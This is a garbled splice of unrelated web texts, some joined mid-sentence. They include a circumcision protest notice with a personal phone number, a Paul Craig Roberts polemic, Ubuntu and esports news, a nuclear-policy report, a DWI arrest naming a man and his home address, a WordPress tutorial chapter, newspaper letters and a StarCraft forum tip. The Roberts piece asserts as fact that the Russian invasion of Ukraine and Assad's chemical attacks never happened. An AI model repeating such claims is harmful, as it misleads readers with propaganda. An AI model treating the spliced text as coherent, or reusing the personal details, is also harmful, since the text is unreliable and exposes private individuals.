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illegal under the Offences Against the Person Act (1861), being at least Actual Bodily Harm, and possibly Grievous Bodily Harm. I shall be travelling to your clinic in Coventry today in a bid to stop the circumcision of a 12-year-old boy who has claimed on Reddit that he is to be circumcised at 1pm today without his consent. Mike Buchanan
07967 026163
If you can, please join Patrick Smyth and myself in our bid to stop this circumcision. We plan to arrive at the clinic well before 12:00, and will be bringing placards and leaflets, as well as wearing a bodycam. I’ll also do what I can to alert the local media in Coventry. Please call me (07967 026163) if you’ll be joining us. Thanks.
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TwitterAuthored by Paul Craig Roberts,
The entire Western edifice rests on lies. There is no other foundation. Just lies.
This makes truth an enemy. Enemies have to be suppressed, and thus truth has to be suppressed.
Truth comes from foreign news sources, such as RT, and from Internet sites, such as this one.
Thus, Washington and its vassals are busy at work closing down independent media.
Washington and its vassals have redefined propaganda. Truth is propaganda if it is told by countries, such as Russia and China, that have independent foreign policies.
Propaganda is truth if told by Washington and its puppets, such as the EU Observer.
The EU Observer, little doubt following Washington’s orders, has denounced RT and Sputnik News for “broadcasting fabrications and hate speech from their bureaus in European Union cities.”
Often I appear on both RT and Sputnik. In my opinion both are too restrained in their reporting, fearful, of course, of being shut down, than full truth requires. I have never heard a word of hate speech or propaganda on either. Washington’s propaganda, perhaps, but not the Russian government’s.
In other words, the way Washington has the news world rigged, not even independent news sites can speak completely clearly.
The Western presstitutes have succeeded in creating a false reality for insouciant Americans and also for much of the European Union population.
A sizable percentage of these insouciant peoples believe that Russia invaded Ukranine and that Russia is threatening to invade the Baltic States and Poland. This belief exists despite all intelligence of all Western governments reporting that there is no sign of any Russian forces that would be required for invasion.
The “Russian invasion,” like “Saddam Hussein’s weapons of mass destruction and al Qaeda connections,” like “Assad of Syria’s use of chemical weapons against his own people,” like “Iranian nukes,” never existed but nevertheless became the reality in the Western media. The insouciant Western peoples believe in non-existent occurrencies.
In other words, just to state the obvious noncontroversial fact, the Western “news” media is a propaganda ministry from which no truth emerges.
Thus, the Western World is ruled by propaganda. Truth is excluded. Fox “news,” CNN, the NY Times, Washington Post, and all the rest of the most accomplished liars in world history, repeat constantly the same lies. For Washington, of course, and the military/security complex.
War is the only possible outcome of propaganda in behalf of war. When the irresponsible Western media brings Armageddon to you, you can thank the New York Times and the rest of the presstitutes for the destruction of yourself and all your hopes for yourself and your children.
Stephen Lendman, who comprises a good chunk of the remaining moral conscience of the West, explains the situation:Update: Abiword and Gnumeric are now most likely to replace OpenOffice.
According to the latest Ubuntu Netbook Remix Blueprint, the Ubuntu community are planning to drop OpenOffice from the default installation of Ubuntu Netbook Edition for the upcoming Lucid Lynx release, atleast for now. Now documents will be opened by default in Google Docs. (After this article, the blueprint got a lot of feedbacks and complaints against inclusion of Google Docs. Now they have decided to use Abiword and Gnumeric instead of Google Docs.)
We have previously told you about Gimp being dropped from Ubuntu Desktop and Ubuntu replacing Google with Yahoo as the default search engine.
The developers have been removing applications that are irrelevant on a netbook. While document editing is clearly a not irrelevant on a netbook, the developers feel that with netbooks being used mostly for internet related works, Google Docs will suffice.
Apart from this, some other changes have also been introduced.
Several applications have been hidden by default:
Brasero/CD Creator hidden
Disk Usage Analyzer hidden
Print job management hidden
Take screenshot hidden
Dictionary hidden
Log system viewer hidden
And some other have been dropped in addition to OpenOffice:
Tomboy dropped
PalmOS pilot dropped
Graphics applications removed
While new ones have been added to provide better netbook functionalities:
gbrainy added (gbrainy is a brain teaser game)
Gwibber added (Gwibber is a microblogging client)
Cheese added (Cheese is an application to take pictures and videos from webcam)
[source: UNE Blueprint]
http://digitizor.com/2009/11/19/gimp-to-be-dropped-from-ubuntu-10-04-lucid-lynx/After a quiet transfer season, Vici Gaming has released their roster for 2015 LPL Summer. Very little changes have been made, but players from other clubs have transferred to give the team more options in the solo lane and AD Carry positions. All players from 2015 LPL Spring remain with the team.
Here's the roster list (in announcement order):
Top: Carry
Jungle: Dandy
Mid: HeTong
Support: Mata
ADC: Vasilii
Mid: Peng
Top: Duji
ADC: Xuan
ADC: Endless
Wang "Carry" Zujing, Choi "DanDy" Inkyu, Wang "Hetong" Bin, Lie "Vasilii" Weijun, and Cho "Mata" Sehyoung remain on the roster from 2015 LPL Spring. The announcement suggests that ex Kx.Happy AD carry, Xu "Endless" Hao (previously known as Fate) will be able to play on the starting lineup as well as Pi "Xuan" Xiaoxuan, who previously played as a mid laner for Vici Potential Gaming.
The club also signed GW mid lane player Peng "Peng" Yibo and top lane streamer Yang "Duji" Hao to "supplement clan rotational depth."
Kelsey Moser is a staff writer for the Score eSports. You can follow her on Twitter.A year after his groundbreaking pledge to move toward a "world without nuclear weapons," President Obama on Tuesday will unveil a policy that constrains the weapons' role but appears more cautious than what many supporters had hoped, with the president opting for a middle course in many key areas.
Under the new policy, the administration will foreswear the use of the deadly weapons against nonnuclear countries, officials said, in contrast to previous administrations, which indicated they might use nuclear arms against nonnuclear states in retaliation for a biological or chemical attack.
But Obama included a major caveat: The countries must be in compliance with their nonproliferation obligations under international treaties. That loophole would mean Iran would remain on the potential target list.
The new policy will also describe the purpose of U.S. weapons as being fundamentally for deterrence. Some Democratic legislators had urged Obama to go further and declare that the United States would not use nuclear weapons first in a conflict. But officials in the Defense and State departments worried that such a change could unnerve allies protected by the U.S. nuclear "umbrella."
The administration's nuclear policy, contained in a document known as the Nuclear Posture Review, will be released at the start of a jam-packed week of events focused on one of the president's signature issues. Obama is to sign a new arms-control treaty with Russia on Thursday, then host at least 40 world leaders next Tuesday at a summit on locking down nuclear material.
The Nuclear Posture Review is important because it sets the framework for decisions on U.S. nuclear policy for the next five to 10 years, including the size of the stockpile and investments in submarines, missiles and nuclear laboratories. This one had raised particularly high expectations because of the president's nuclear agenda, which helped win him the Nobel Peace Prize last year.
The document will break with the Bush administration's nuclear doctrine in several ways. But officials and analysts said the policy's cautious tone reflected a desire to not upset the military or Republicans in Congress at a time when Obama hopes to get several nuclear treaties ratified.
The document also reflects the continuity in the nuclear establishment, with Defense Secretary Robert M. Gates straddling the two administrations, said nuclear expert George Perkovich.
"There's no Robespierre who comes in and says, 'Off with their heads -- we're going to do things differently,' " he told an audience Monday at the Carnegie Endowment for International Peace.
Still, Perkovich noted, the document marks a departure in focusing on terrorists and rogue states as the main nuclear threats. It also narrows the stated scenarios in which the U.S. government would use nuclear weapons.
During his presidential campaign, Obama pledged to work with Russia to take the countries' nuclear arms off high alert, saying that "keeping nuclear weapons ready to launch on a moment's notice is a dangerous relic of the Cold War."
Officials familiar with the new policy said it will not remove weapons from alert, but will instead seek to give the president more time to decide whether to fire the weapons. The U.S. military had expressed concern about taking weapons off alert. The head of the U.S. Strategic Command, Air Force Gen. Kevin P. Chilton, compared it last year to taking a gun apart "and mailing pieces of it to various parts of the country. And then when you're in a crisis, deciding to reassemble it."Barry Babcock (Albany County sheriff's deputies) Barry Babcock (Albany County sheriff's deputies) Image 1 of / 1 Caption Close Man who drives wife to drug court gets charged with DWI 1 / 1 Back to Gallery
ALBANY — Sheriff's deputies said they arrested a 68-year-old Bethlehem man with a 0.10 blood-alcohol content while he waited for his wife to return from a drug court appointment and drank beer in his running vehicle.
The sheriff's office said drug court staff noticed Barry Babcock, of 34 Willow Brook Ave., was intoxicated outside the Albany County Judicial Center and had dropped someone off at drug court. Babcock was sitting behind the wheel of his car with the car running. Deputies approached Babcock and noticed a strong odor of alcohol, slurred speech and glassy eyes, deputies said, and also discovered he drank several beers at home before taking his wife to drug court.
Babcock was charged with misdemeanor DWI and was released after being issued traffic tickets for open container. He is due to appear in Albany City Court on Dec. 28.UPDATED Sept. 6, 2013, 5 p.m., to add link to ticket information.
Tina Fey – actress, comedian, writer, producer and star of NBC’s “30 Rock” and “Saturday Night Live” – will return to the University of Virginia this fall to kick off a new speaker series highlighting the positive impact of arts on society.
Fey studied playwriting and acting and graduated from the College of Arts & Sciences in 1992 with a bachelor’s degree in drama.
Her appearance, set for Sept. 14 at 8:15 p.m., will be the inaugural address of the “President’s Speaker Series for the Arts,” an initiative of the Office of the President and the Office of the Provost.
“I am very excited to come back to Charlottesville to participate in the President’s Speaker Series for the Arts in September,” Fey said. “When I left Charlottesville in the early ’90s, there was a large sign on Route 29 that said, ‘The bagels are coming!’ Did that ever happen?”
U.Va. President Teresa A. Sullivan said Fey’s visit will generate enthusiasm and momentum for the arts on Grounds, in the local community and beyond.
“Tina Fey exemplifies the important role of arts in modern culture and the lasting influence of the arts,” Sullivan said. “I am proud to welcome her back to the University.”
Students, staff, faculty and members of the local community are all welcome to participate in this public celebration of the arts, to be held on the Betsy and John Casteen Arts Grounds. Details about Fey’s speech, including ticket information and attendance guidelines, can be found here.
Fey’s appearance reflects a strengthened emphasis on arts and their importance in the community. For U.Va., it’s a resurgence already symbolized by the opening of the new Ruth Caplin Theatre, the dedication of the Betsy and John Casteen Arts Grounds, and the January appointment of Jody Kielbasa to serve as vice provost for the arts.
Kielbasa envisioned this speaker series as an opportunity to establish a dialogue on the arts and to further energize efforts to widen the sphere of influence of the arts at U.Va.
“The message that the University fully supports the arts could not be more clear. Tina Fey’s address also serves as a tremendous bridge for the arts between U.Va. and the surrounding community,” said Kielbasa, who also directs the Virginia Film Festival.
The new series will bring to the University each fall a global leader in the arts to speak about the value and meaning of the arts to universities, communities and the nation.
Robert Chapel, professor of drama and producing artistic director of the Heritage Theatre Festival, recently reached out to Fey on behalf of the University.
“I have known Tina since I was a professor and chair of the U.Va. Department of Drama in 1990,” Chapel said. “Tina was the perfect example of the kind of drama student we wish all our students would emulate.
“As an actress, playwright, member of the Virginia Players and the box office staff, and a worker in the costume shop, Tina was never above doing things to help the drama department and herself grow.”
Fey’s speech also will serve as the inaugural centerpiece for “Encore!,” a reunion weekend for the Department of Drama on Sept. 13 and 14. Conceived by Tom Bloom, chair of the drama department, the reunion of drama alumni will open with an evening reception Sept. 13, followed by a Saturday morning colloquium featuring U.Va. faculty, tours of the new Ruth Caplin Theatre and an “Encore!” cabaret performance by alumni.
“This is a perfect melding,” Chapel said. “The U.Va. Department of Drama’s biggest star returns to inaugurate the President’s Speaker Series for the Arts during a reunion of drama alumni – all celebrating their past here at the University as well as the future of the arts at U.Va.
“We have all watched with pride as Tina’s career has flourished, and we always feel doubly proud when she cites the Department of Drama as her ‘home’ during her four years at the University of Virginia,” he added.
Fey recently completed a seven-season run as executive producer, head writer and star of NBC’s groundbreaking comedy series “30 Rock.” Her portrayal of Liz Lemon earned an Emmy, two Golden Globes, four Screen Actors Guild Awards and a People’s Choice Award. In 2009, “30 Rock” was nominated for a record 22 Emmy Awards, the most ever of any comedy series on television. “30 Rock” has also earned three Emmy Awards for Outstanding Comedy Series, a Golden Globe for Outstanding Comedy Series, a Screen Actors Guild Award for Outstanding Performance by an Ensemble in a Comedy Series, three Writers Guild Awards for Outstanding Comedy Series and three Producers Guild Awards.
Prior to “30 Rock,” Fey completed nine seasons as head writer, cast member and co-anchor of “Weekend Update” on NBC’s “Saturday Night Live.” Fey is an Emmy winner and two-time Writers Guild Award winner for her writing on “Saturday Night Live” and won an Emmy for Guest Appearance by an Actress in a Comedy Series for her portrayal of Sarah Palin on the 2008-09 “Saturday Night Live” season.
Fey has also starred in numerous films including “Mean Girls,” which earned her a nomination for a Writers Guild Award for Best Adapted Screenplay; “Baby Mama”; “Date Night”; and “Admission.” In 2014, she will be seen in “Muppets Most Wanted” and director Shawn Levy’s next film, the ensemble “This is Where I Leave You.”
Since her transition to being in front of the camera, she has won much acclaim, including being named The Associated Press’ “Entertainer of the Year” in 2008, one of Entertainment Weekly’s “Entertainers of the Year” on numerous occasions and one of Time’s prestigious “Time 100” (twice).
She has also won two Gracie Awards, a Made in New York Award and was the youngest recipient of the Mark Twain Award for American Humor in 2010.
Earlier this year, Fey hosted the 2013 Golden Globe Awards with friend and fellow “Saturday Night Live” alum, Amy Poehler, garnering rave reviews from the industry and public. Her bestselling book, “Bossypants,” topped the New York Times best-seller list for 33 consecutive weeks (and remained a mainstay on the list when the paperback edition was published a year later). It has sold over 2 million copies to date and earned Fey her first Grammy nomination for her audio recording.
The President's Speaker Series for the Arts is supported by the offices of the President and the Provost and the Joseph and Robert Cornell Memorial Foundation.In the previous piece, we examined the decision process which led to war, seeing how alliance leaders used the full powers of their bureaucracies to generate effective information and make clear decisions (at least, in theory – we cannot dismiss the possibility of wars starting with less rigorous examination). However, once this decision is made, there is still preparation to complete before embarking on the process of a major conflict.
To shed some light on this subject, Crossing Zebras caught up with Chiimera, a member of The Imperium’s Coordination Team, analogues to a real life general staff, and asked him a few questions.
Hopeful Turtle: What other groups do coordinators work with when planning campaigns?
Chiimera: Coordinators are the second level of what I would call The Imperiums’ strategic division with the ‘Top Men’ being the Skyteam followed by coordinators. The coordination team receives directives from the Skyteam or Imperium directors and enacts them. These tasks can be as simple as destroying a hostile Raitaru anchoring in NPC Delve or as complex as taking a whole region. Coordination works closely with Recon, Scouts and GSOL to pre-stage assets and resources in a way that will improve the likelihood of a successful operation.
We basically work with any entity that can be a strategic asset in whatever campaign we are working with, when QFC [Querious Fight Club] is under siege we work closely with them to not only provide support fleets where requested but also supply them with a bit of mentoring and intelligence. The next day we could simply have recon watching a blue Fortizar online with FCs ready to respond if required.
HP: As a follow-up, how do you work with them? Is there some sort of joint committee, or is it more ad-hoc than that?
C: Depending on what we’re doing and who we’re doing it with we’ll be using text chats like Jabber and Discord combined with voice comms as required. The coordination team works collaboratively these days, a lot of discussion about tactics and strategy goes on in the coord channel followed by more of a primary coordinator supported by the other coordinators structure for the actual engagement.
HP: How do you pick staging systems? Is it more of a political or military decision?
C: Staging systems are exclusively picked for their strategic value. You don’t really need to pick a staging system based on political alignment. If you’re going somewhere in sov null you’re usually going to fight someone hostile to your friends, in that case they’re happy to see you and offer up any assistance they can. If you’re going to NPC Nullsec or somewhere hostile you don’t really care about the hostiles feelings, right?
HP: How do you calculate how much materiel is needed at staging?
C: Having the right amount of resources in staging is less about how much you have and more about how fast you can replenish your reserve. The simple math off the top of my head would be something along the lines of (Projected Losses over X days + 20%) with X being the number of days it takes to restock the reserve. In the Imperium, most of the staging market and contract stocking is done by individuals. In The Imperium, we’re lucky to have probably the best stocked markets outside of highsec and after a week in forward staging this normally clones over to wherever our people are wanting to buy.
HP: When moving materiel to staging, how do you avoid detection? Surely moving multiple Jump Freighters is quite noticeable.
C: The only resources that really get moved on an alliance level is strategic assets like citadels, poses and sov stuff which is done by GSOL, I heard that they are magic unicorns that can move thousands of jump freighters at a time without ever being seen. If you think about it the only time you should ever see a jump freighter is when it undocks to jump or when it docks from jumping. Highsec freighter alts and freighter and jump freighter services are a thing so it’s completely possible in a lot of scenarios to move a large amount of assets across the universe without ever undocking yourself.
HP: When choosing which people to involve in planning, how do you avoid spy infiltration?
C: You can never truly rid an organisation as big as The Imperium of spies, especially in the new world order of open recruitment and alphas. The best you can do is compartmentalise information in a way that doesn’t hamstring your ability to work effectively. The coordination team recruitment process makes it quite difficult to become a member and even before you gain access to any operational channels you’ll end up doing a tonne of work. Even after you join coord proper you don’t automatically gain access to everything.
HP: After doing this planning, is there a final go/no go? If so, how does that work?
C: The final go/no go usually happens after the fleet has formed but before it’s committed to a fight. There are other checkpoints along the way and other decisions that need to be made afterwards as well. For major ops, the decision is usually made by consensus between the most senior coordinator in channel and the fleet FC.
HP: How much pre-planning goes into move-ops – is it a careful operation or a blundering herd?
C: I decline to answer the question for fear I may incriminate myself.
HP: How do you stop the enemy from interfering with move-ops?
C: The secret to a successful move op is treating it like any other fleet, have scouts and don’t do dumb things when things look sketchy.
So, whilst Chiimera is constrained in some respects by OPSEC, we can see from his answers that a great deal of work and activity goes into the military planning of operations, as distinct from the political and diplomatic element. This is especially notable when dealing with major bloc conflicts.
The one key and unfortunate drawback from a research and learning perspective when considering the art of strategic planning in EVE is that each conflict is inherently quite different; the conquest of Fountain in 2012 and the Refubee War in 2016 had only minor similarities, due to differences in game mechanics and political situations. Therefore, any serious examination of the strategic art in EVE will be inherently transient in character.Close
Plenty are dreaming about the day that they can truly immerse themselves in virtual reality. A future where they can lay down in capsules and open their eyes to an interactive digital world. This view is both evident in and inspired by animes like Sword Art Online and modern light novels, such the Legendary Moonlight Sculptor. However, we're far from that futuristic take on virtual reality, we might not even get there.
Moreover, the best that our current technology permits are the VR headsets, such as the HTC Vive and Oculus Rift. However, both of them are quite pricey, especially if we consider the computer hardware needed for them. Less pricey options come with headsets that get powered by mobile devices. For instance, Samsung's Gear VR, which retails for $99.
For a while, the Gear VR has sat alone in its own mobile-VR-headset niche without a proper competitor. That is until Google's Daydream View VR headset surfaced and at $79, it's cheaper compared to the Gear VR. But how does it compare to Samsung's offering?
Design And Build Quality
Google says that the Daydream View VR is "inspired by what you wear" and as such, the headset is made using soft, breathable fabric, which is unspecified. Digital Trends' Julian Chokkattu went to the Google Fall event earlier this month and got his hands on the Daydream View VR headset.
"The plastic frame feels a little cheap, but I immediately forgot about it once I started touching the soft fabric it's made of," comments Chokkattu. "You can bend it a little, which is going to be handy when traveling."
Contrary to the Daydream View and its fabric, the Samsung Gear VR is made of plastic with a matte finish. Both headsets will cater users even with their glasses on and have removable face masks for hygiene purposes.
Putting a compatible smartphone into the Gear VR requires for the cover to be taken off before sliding in the phone, which will be secured by clips on both sides. Google took a different approach and decided to use a clamshell cover and secures the smartphone using single elastic strap on top of the headset.
"Just drop in your phone and you're ready to go," says Google.
The Gear VR uses the micro-USB port to connect to the phone. Google opted to do this headset-phone connection wirelessly.
Unlike the Gear VR, the Daydream View does not come with a middle headstrap. However, it's also important to note that none of those who tested Google's VR headset made remarks of it sliding down their face even when they had it strapped for an extended period of time.
Weight
The Gear VR comes in at 318 grams prior to any smartphones getting slotted into it. Much of the added weight is due to the hardware packed within the headset.
Of course, Gear VR's built-in hardware has its own perks.The sensors detect whether the headset is worn and allows for faster movement detection. Samsung said this facilitates less delays compared to relying on the phone's sensors.
At 220 grams, the Daydream View is lighter than its competitor. Considering that these things get strapped to the user's face, it won't be wrong to say that lighter is better since it facilitates a "more natural" experience. However with a smartphone in it, it will still pack some weight.
Note that the Google Pixel, which is compatible with the Daydream View, weighs 143 grams. Having it in the headset equates to 363 grams.
"Compared to the PlayStation VR's headband design, the Daydream headset felt heavy strapped to my face with a smartphone inside it," says Mirror's Jeff Parsons. "Even though it's one of the lightest headsets available, it still took a few seconds to adjust to the weight pulling my face forward."
Comfort
Engadget's Devindra Hardawar says that the latest Gear VR model, which was released alongside the Galaxy Note 7, is the most comfortable iteration of the headset. This is thanks to a the new material that rests on the user's skin.
"As soft as a fleece blanket meant for babies," Hardawar describes the new material while adding that coupled with a few design tweaks, it makes the experience more immersive.
As for Google's Daydream View, many of those who had the chance to try it say that it's the most comfortable mobile VR headset they've tried. Aside from Digital Trends' Julian Chokkattu, Stuff's Andrew Hayward also has the same sentiments.
Interactive Experience
The Gear VR's main controls are baked into the headset itself. The focus adjustment wheel sits on top the head mount. For navigation, a trackpad and a back button to the headset's right-hand side. There also buttons for adjusting the volume.
Deciding that it doesn't want the controls to be on the headset, Google packs the Daydream View with a controller, which has nine motion sensors and a directional pad. The controller also houses couple of buttons for the volume, a home button and an extra button that developers can configure for their apps.
It's like a Wii controller that can be used interactively for apps and games — swing a bat or steer an airship. It has a built-in USB Type-C port for charging.
Note that both headsets will cater other controllers, even if they have more complicated button setups.
As for the experience, both headsets shouldn't be expected to be proper alternatives for the Vive or the Rift since there's only so much that the Mobile SoCs can do.
Device Compatibility
So far, Google has only lists its Pixel phones to be compatible with the Daydream View. The Mountain View-based company says that more Daydream-ready smartphones are in the horizon, which is promising since the choices will not be limited to just one outfit.
This is actually the problem with the Gear VR. Samsung lists the Galaxy S7, S7 edge, Note 5, S6, S6 edge and S6 edge+ as compatible devices, which are all its own phones.
Games And Apps
Obviously, Samsung is ahead in this aspect since the Gear VR is backed by the Oculus Store that has a number of really good apps, which it accumulated over the course of the last two years. This is in addition to its own dedicated apps such as Bomb Squad and EVE: GunJack.
As for the Daydream View, only a couple of experiences — Harry Potter Wizarding World and Digital mini-gold — have been shown off thus far. However, heading over to Daydream View page shows a number of apps and games. For video, there will apps from Hulu, Netflix, HBO and YouTube, as well as Google Play Movie. The games listed include Gunjack 2: End of Shift, Fantastic Beasts and Keep Talking and Nobody Explodes.
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.Oct.24 (GMM) Red Bull, the Austrian energy drink and championship-winning F1 team owner, could be the saviour of the embattled New York Grand Prix.
Bernie Ecclestone has reportedly told a motor racing website that billionaire Dietrich Mateschitz should step in to fund the race, after organisation and funding shortfalls forced the delay of the inaugural event, which had been scheduled for 2013.
Dietrich Mateschitz, Owner of Red Bull, Bernie Ecclestone Photo by: xpb.cc
Christian Sylt, the F1 business journalist who recorded Ecclestone's Red Bull quote, said he thinks the sport's chief executive is serious.
"In the absence of state support, I think the only way the Grand Prix of America can proceed is if a wealthy backer gets behind it.
"Red Bull certainly has the resources to do so and it clearly has an interest in promoting its brand in the area," Sylt told the New Jersey newspaper Star-Ledger.
"It is also worth mentioning that Ecclestone told me that if a backer comes on board very soon there is a possibility that the race could take place next year," he added.An Israeli and a Palestinian-identified filmmaker have won the Student Academy Awards. The winners were announced earlier this week in anticipation of the Student Academy Awards ceremony that will take place on September 22 in Los Angeles.
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Maya Sarfaty, a student at Tel Aviv University, won the award for her documentary “the Most Beautiful Woman.” The film tells the story of Helena, a young Slovakian Jewish woman who had an affair with Franz, an SS officer while held in Auschwitz concentration camp. In return for granting him sexual favors, Helena managed to secure the survival of herself and her sister Rosa, though not the lives of her sister’s two children.
From the film 'Ayny – My Second Eye'
Ahmad Saleh, who was born in Saudi Arabia to a Palestinian family (Saleh identifies as Palestinian), also won a Student Academy Award with his stop-animation film “Ayny – My Second Eye.” The movie details the dangers of war as seen through the eyes of two young boys who share a love for music.This article introduces one of the most important topics in WordPress development: the WordPress template hierarchy. It’s one of the most important concepts in all of WordPress theme development. (We have a full free course on the topic, check it out.)
This content is amazing, because it’s not just one of our normal articles: It’s a sample chapter from our “learn WordPress development” guide Up and Running, now in its revised and expanded 2018 edition.
If you like this chapter, check out Up and Running. There’s about 40 more chapters where this one came from. It’s the best guide to WordPress development out there.
The Ultimate Way to Learn WordPress Development Concepts Get Up and Running Today! Up and Running is our complete “learn WordPress development” course. Now in its updated and expanded 3rd Edition in 2018, it’s helped hundreds of happy buyers learn WordPress development the fast, smart, and thorough way. Get Up and Running Now
Key Takeaways: The WordPress template hierarchy determines which PHP template files will be used to construct a given webpage on your site, based on the type of post content requested: for example, whether the webpage displays a Page, a Post, or an archive of many Posts.
The template hierarchy follows a defined order set in WordPress itself. Learning this hierarchy will let you pinpoint which of your webpages will use which template.
As we work through this chapter, remember the following analogy: WordPress is a factory that processes raw material, posts, into finished products, webpages.
In this chapter, we’re in the stage of the production process where a bundle of posts has been fetched out of the warehouse (the database), and are all ready to be assembled and made to display beautifully by our assembly line, the WordPress theme.
However, the theme provides a lot of possible lines to send those posts down: our different PHP templates. Putting our posts through index.php will result in a webpage that looks one way; putting it through home.php, archive.php, or page.php will give very different results.
How do we know which assembly line a given bundle will go down? With the WordPress template hierarchy. The template hierarchy is a built-in system in WordPress that specifies which line to send a given bundle of posts down, based on properties of the bundle itself.
This chapter explains how the template hierarchy makes its decisions.
index.php : The Ultimate Fallback For the factory to work, there must always be at least one assembly line that can take any given bundle of posts. This is why every WordPress theme must have an index.php template file.
index.php is the final fallback. Whether you’re building a webpage around all the Posts you wrote in September 2016, or around a single Page, or around the results of a search for all the posts (of any post type) containing the phrase “snow tires,” or around one or more posts of a totally custom post type, such as Recipe or Movie Review, the rule is the same: If the template hierarchy doesn’t find something else to use, it falls back to index.php.
So WordPress can always build out a webpage using index.php if it doesn’t have a more fitting template file to use. However, it will try to find a better template file if one exists.
The Rest of the Hierarchy WordPress has created some really powerful choice trees for deciding which template to display. From the Codex:
We won’t be including this in Resources, because it was created by the lovely Michelle Schulp, not us. You can view the full file on this page: https://codex.wordpress.org/Template_Hierarchy#Visual_Overview.
To see what’s going on, let’s follow an example page from left to right on the diagram.
Tracing a Site’s “About Us” Page Through the Template Hierarchy Let’s see what happens for an imaginary site’s “About Us” page, written as a Page (that is, a post of type Page) and located at site.com/about.
Bundle Type: “Singular Page” Starting from the very left of the diagram: what’s our “page type”? This question really means, “What kind of bundle of posts are we dealing with?” The answer is “Singular Page,” because the warehouse has sent us a bundle containing only one single (“singular”) post, rather than lots of posts together.
Static Page Next up, we have two options: is this a “Single Post Page” or a “Static Page”? Don’t let the language confuse you: what they’re really asking is, “Is this a single post of type Post or of any custom post type, or is it a single post of type Page?” It’s the second one, which they’re calling a “Static Page.”
Page Template: Default Template Okay, are we using a “Custom Template” or a “Default Template”? We’ll get into custom templates later, in Understanding and Creating WordPress Custom Post Templates. You can read this as, “Did you select something other than ‘Default Template’ in the Page Editor?”
In this case, let’s say we’re not using a custom template on our “About” page. So the right answer for us is “Default Template.”
Template Used: page.php, with index.php Fallback The next two nodes— page-$slug.php and page-$id.php —are little-used options that let you create templates for individual pages. We don’t have those, so we’ll skate right through them.
That leaves us with the template that will actually display our About page: page.php. And if our theme doesn’t have page.php, we’ll slide all the way back to our ultimate fallback: index.php.
We’ve just finished our first trip through the WordPress template hierarchy. Based on the number and type of posts we’ve retrieved from the database, we’re able to know exactly which of our PHP templates WordPress will rely on to build out the corresponding webpage.
A Second Example: The Blog Index Let’s take a second trip through the template hierarchy, this time with the site’s blog index page. This is the page on your website that displays your most recent Posts. But which page is this, specifically? It depends on your site’s settings in Settings > Reading:
If you leave the setting as its default |
of ways to construct solar systems. When it comes to planets, eccentricity may be the norm.Buy Photo Letters to the editor may be emailed to letters@tennessean.com, faxed to 615-259-8093 or mailed to Letters to the Editor, The Tennessean, 1100 Broadway, Nashville, TN 37203. (Photo: File / The Tennessean)Buy Photo
Professor espouses ignorant opinion on Islam
Dr. Swain’s Jan. 16 opinion piece, “Charlie Hebdo attacks prove critics were right about Islam,” was both ignorant and offensive. As one who also works at Vanderbilt, a university that has done significant work in recent years to elevate the principles of religious diversity and inclusion, I am sickened by the broad-sweeping generalizations and accusations directed at those who practice Islam.
One of the benefits of working at a higher-education institution that also boasts a world-renowned medical center is the opportunity to work alongside talented individuals from all over the world who represent many rich cultures and religious traditions.
I am saddened for our Muslim community in Middle Tennessee who will read such inflammatory words about something they hold central to their identity, and who will perhaps feel the need to defend themselves for crimes committed across an ocean by people they did not know.
I am particularly saddened that Muslim faculty, staff and students who may encounter this piece will know that such a prejudiced opinion piece was written by someone who is also a part of the Vanderbilt community.
As a proud Nashville resident, it is my hope that Nashville will embrace the growing religious and cultural diversity in our city.
To this end, I sincerely hope that The Tennessean will give strong consideration to publishing future opinion pieces from Dr. Swain and others who attack groups of people, and not issues.
Rev. Lillian J. Hallstrand
Nashville 37208
Muslims live among us peacefully
We need to remember that every morning, multiplied millions of Muslims wake up, feed their children and get them off to school, go out and earn a living, shop for groceries and clothes, clean house, do the laundry, cook and take out the trash.
Just like the rest of us, nurturing family is their main activity, and dreaming of a better life for their children is the central hope.
Sadly, our commonalities are buried by the highly successful strategies of Osama bin Laden’s ilk to inflame the passions of all of us against each other.
NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Breaking news from Tennessean.com delivered immediately to your inbox. Please try again soon, or contact Customer Service at 1-800-342-8237. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters
In recent days a million Europeans demonstrated against terror created by fewer than a dozen fanatics.
The enemy is terror, not Muslims. We need leaders who are wise as serpents and harmless as doves to cut out the cancer of terrorism while uniting the family of man.
Harry Marsh
Gallatin 37066
Religions at odds with freedom of speech
Freedom of speech is clearly a topic of great interest since the Charlie Hebdo massacre.
The Pope has now spoken and said, in essence, that freedom of speech should never be infringed unless it involves his religion. This is, of course, laughable.
The problem with religions is that anyone can start a religion and hold to any beliefs at all.
So, for example, if we agree to not show pictures of Muhammad to appease the Muslim, does that mean we must never show pictures of L. Ron Hubbard so that the Scientologist will be happy?
Maybe there is a sect somewhere that believes in the holiness of a Coke bottle?
Should we worry about pictures of spaghetti so that the believers in the Flying Spaghetti Monster will not be offended?
Since no one religion can possibly prove that its beliefs are more valid/better/holier than another’s, we can never allow ourselves to be controlled by whatever happens to offend any particular (or group of) religion(s).
The only free speech that is worth protecting is always the speech that offends someone, and generally that that offends the most. So to eliminate that is to destroy the entire concept.
Wendell Henry
Nashville 37220
Read or Share this story: http://tnne.ws/1C9hKfyRekiv Profile Joined April 2010 Great Britain 27 Posts Last Edited: 2010-09-03 15:34:10 #1
This may be old news but I couldn't find another thread on this topic. If you feel there may be an observer in your base or hovering above your army, and you don't have detection available, all you need to do is zoom in and out using the mousewheel. The motionless observer will appear to move against the terrain and the "ripple" effect will be visible as if it were moving across the terrain.
Hope this helps some of you and, like I said, this may be old news but it still is a useful little trick to keep unwanted observers from hiding in your base or above your army.
**EDIT**
It seems an existing post about this topic was created some time ago and I somehow missed it and I apologise. Even so, since this topic is still under discussion I shall post the youtube video that was posted under Ironclown's original post:
It's easy to spot a moving observer without detection since it creates "ripples" on the ground, but when they're not moving sometimes it's impossible to spot one until you've built a detector unit/building.This may be old news but I couldn't find another thread on this topic. If you feel there may be an observer in your base or hovering above your army, and you don't have detection available, all you need to do is zoom in and out using the mousewheel. The motionless observer will appear to move against the terrain and the "ripple" effect will be visible as if it were moving across the terrain.Hope this helps some of you and, like I said, this may be old news but it still is a useful little trick to keep unwanted observers from hiding in your base or above your army.**EDIT**It seems an existing post about this topic was created some time ago and I somehow missed it and I apologise. Even so, since this topic is still under discussion I shall post the youtube video that was posted under Ironclown's original post:
Kow Profile Joined May 2010 United States 32 Posts #2 Brilliant. Alternatively, you can bring your own units under it to see the warping effect.
